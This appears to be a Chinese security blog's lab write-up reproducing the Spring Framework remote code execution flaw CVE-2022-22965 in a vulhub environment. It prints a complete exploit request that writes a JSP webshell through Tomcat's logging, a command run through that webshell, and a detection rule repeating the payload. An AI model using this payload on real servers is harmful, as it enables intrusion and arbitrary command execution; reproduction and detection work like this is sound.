Spring Framework远程代码执行漏洞复现
0x01 漏洞描述
Spring
framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java
企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring
Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux
应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击
0x02 漏洞影响范围
Spring Framework < 5.3.18
Spring Framework < 5.2.20
0x03 漏洞利用条件
JDK9或以上版本系列
Spring框架或衍生的SpringBoot等框架,版本小于v5.3.18或v5.2.20
Spring JavaBean表单参数绑定需要满足一定条件
部署在Tomcat容器中,且日志记录功能开启(默认状态)
0x04漏洞复现
通过vulhub拉取
docker-compose up -d
访问演示页面
http://your-ip:8080/?name=Bob&age=25
访问对应的controller,这里设置了日志的文件名、文件路径、以及后缀名,将后缀名设置为.jsp,然后不断地写入执行命令的jsp代码,从而实现webshell的写入,还需要补充cookie。
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
然后,访问刚写入的JSP Webshell,执行任意命令
http://ip:8080/tomcatwar.jsp?pwd=j&cmd=id
0x05检测poc规则编写
params: []
name: Spring 远程命令执行漏洞(CVE-2022-22965)
set: {}
rules:
method: GET
path: '/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= '
headers:
DNT: "1"
c1: Runtime
c2: <%
suffix: '%>//'
body: ""
search: ""
followredirects: false
expression: response.status == 200
method: GET
path: /tomcatwar.jsp?pwd=j&cmd=id
headers: {}
body: ""
search: ""
followredirects: false
expression: response.status == 200 && response.body.bcontains(b"uid")
groups: {}
detail:
author: ""
links: []
description: ""
version: ""
0x06漏洞修复
1、官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本。
0x07 参考
https://blog.csdn.net/huangyongkang666/article/details/124187398
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。
最新评论
推荐文章
作者最新文章
你可能感兴趣的文章
Copyright Disclaimer: The copyright of contents (including texts, images, videos and audios) posted above belong to the User who shared or the third-party website which the User shared from. If you found your copyright have been infringed, please send a DMCA takedown notice to [email protected]. For more detail of the source, please click on the button "Read Original Post" below. For other communications, please send to [email protected].
版权声明:以上内容为用户推荐收藏至CareerEngine平台,其内容(含文字、图片、视频、音频等)及知识版权均属用户或用户转发自的第三方网站,如涉嫌侵权,请通知[email protected]进行信息删除。如需查看信息来源,请点击“查看原文”。如需洽谈其它事宜,请联系[email protected]。
版权声明:以上内容为用户推荐收藏至CareerEngine平台,其内容(含文字、图片、视频、音频等)及知识版权均属用户或用户转发自的第三方网站,如涉嫌侵权,请通知[email protected]进行信息删除。如需查看信息来源,请点击“查看原文”。如需洽谈其它事宜,请联系[email protected]。